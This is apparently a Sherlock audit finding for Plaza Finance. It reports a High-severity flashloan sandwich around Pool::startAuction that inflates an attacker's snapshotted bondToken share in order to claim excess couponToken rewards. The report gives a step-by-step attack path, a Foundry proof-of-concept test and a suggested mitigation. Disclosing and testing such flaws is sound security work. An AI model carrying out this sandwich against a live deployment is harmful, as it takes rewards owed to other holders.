Dry Cherry Goose

High

# Flashloan attack allows attacker to sandwich `pool::startAuction` to earn an unfair amount of shares

### Summary

An attacker can flashloan a huge amount of `reserveToken`, sandwich `pool::startAuction` to create `bondToken` before starting the auction and redeem `bondToken` after to manipulate their shares for higher rewards as `pool::startAuction` takes a snapshot of users shares.

### Explanation

The protocol records the amount of `couponToken` a user has earned by reading the amount of `bondToken` this user owns at the beginning of each period (to be exact, this amount is calculated and recorded [before the first `bondToken` transfer](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/BondToken.sol#L154-L164) they make on each period. It can also be calculated in the distributor if a user calls `claim()` without having made a token transfer in this period).

This value is used in the function [`Distributor::claim`](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Distributor.sol#L88) to calculate the amount of `couponToken` a user is owed. 

Any overcalculation of this value is critical since it will allow users to receive more rewards than they should.

### Root Cause

Users can sandwich [`pool::startAuction`](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L530) in order to manipulate their coupon share as it creates a new period

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1 - Attacker inflates its shares

>_To do so, the attacker proceeds as follow :_

1.1 - Attacker flashloans `reserveToken`

1.2 - Attacker calls `Pool::create` to mint himself an amount of `bondToken`

1.3 - Attacker calls `Pool::startAuction` to create an auction, and more importantly a snapshot of its `bondToken` balance. Since the attacker minted a huge amount before, the protocol will save this value at the next `bondToken` transfer involving this account

1.4 - Attacker sells its `bondToken` through `Pool::redeem` to pay back their flashloan

> _The attacker has two different attack path from this point. Path 2.1 is the cheapest for the attacker, while path 2.2 may yield more rewards to them but is more costly_

2.1 - Attacker waits for the auction to succeed in order for the Distributor to receive the `couponToken` calculated after step 1.3. Then, the attacker can call `Distributor::claim` to earn all couponTokens in the distributor

2.2 - If the value of reserve tokens that can be won from the auction are greater than the value of `Auction::totalBuyCouponAmount`, and if the attacker has enough `couponToken`, then the attacker can instead of 2.1 choose to bid all their `couponToken` into the maximum amount they can claim from the auction. He will earn a greater amount of value, but needs to hold `couponToken` to do so. In case other users bid at a prefered rate, the worst case scenario for the attacker is to see its own bid being replaced. The attacker will earn back his bidded `couponToken` and still be able to profit as much as the 2.1 attack path. If no one else replaces the attackers bid, then `distributor::claim` will pay back the attacker for his attack, and he will make a profit from the `reserveToken` taken from the auction.


### Impact

Attacker can manipulate their shares into earning more tokens than they should

### PoC

> Note that while this report states that the attacker has 2 possible attack paths after the first point, the following PoC only shows the steps for an attacker to manipulate their coupon share (the rest of the attack would require them to claim like a normal user).

Copy the test function in `test/Pool.t.sol`.

```solidity
// forge test --mt test_sandwich_start_auction_to_get_distribution -vvv
function test_sandwich_start_auction_to_get_distribution() public {
    vm.startPrank(governance);
    Token rToken = Token(params.reserveToken);

    // Mint reserve tokens
    rToken.mint(governance, 10000001000);
    rToken.approve(address(poolFactory), 10000000000);

    // Create pool
    Pool _pool = Pool(poolFactory.createPool(params, 10000000000, 10000, 10000, "", "", "", "", false));
    _pool.setAuctionPeriod(10 days);
    vm.stopPrank();

    // Waits until `startAuction` is callable
    vm.warp(block.timestamp + params.distributionPeriod + 1);

    // alice prepares to sandwich.
    // Step 1 - She takes a flashloan (simulated here by minting/burning reserve tokens)
    address alice = makeAddr("alice");
    vm.startPrank(alice);
    uint256 flashLoanAmount = 1_000 ether;

    rToken.mint(alice, flashLoanAmount);
    rToken.approve(address(_pool), flashLoanAmount);

    // Step 2 - Alice creates a lot of bondToken
    _pool.create(Pool.TokenType.BOND, flashLoanAmount, 0);
    uint256 aliceBondToken = _pool.bondToken().balanceOf(alice);
    console.log("aliceBondToken", aliceBondToken);

    // Step 3 - Alice creates an auction. This increases the currentPeriod (checkpoints users bondToken amount)
    _pool.startAuction();

    // Step 4 - Alice redeems her tokens, paying back the flashLoan
    _pool.redeem(Pool.TokenType.BOND, aliceBondToken, 0);
    rToken.burn(alice, flashLoanAmount);

    (uint256 currentPeriod,) = _pool.bondToken().globalPool();

    // Alice now has a high indexedUserAmount, meaning she will claim a high amount of tokens from the distributor
    uint256 aliceBalance = _pool.bondToken().balanceOf(alice);
    uint256 aliceShares = _pool.bondToken().getIndexedUserAmount(alice, aliceBalance, currentPeriod);
    assertEq(1.5 * 1e36, aliceShares);
}
```

### Mitigation

Implement a protection to the sandwich attack of the increase of a period. 

This can be done by preventing a transaction from executing when a transfer of `bondToken` occurs in the same block the function `bondToken::increaseIndexedAssetPeriod` (creating a new period, allowing a new checkpoint) is called.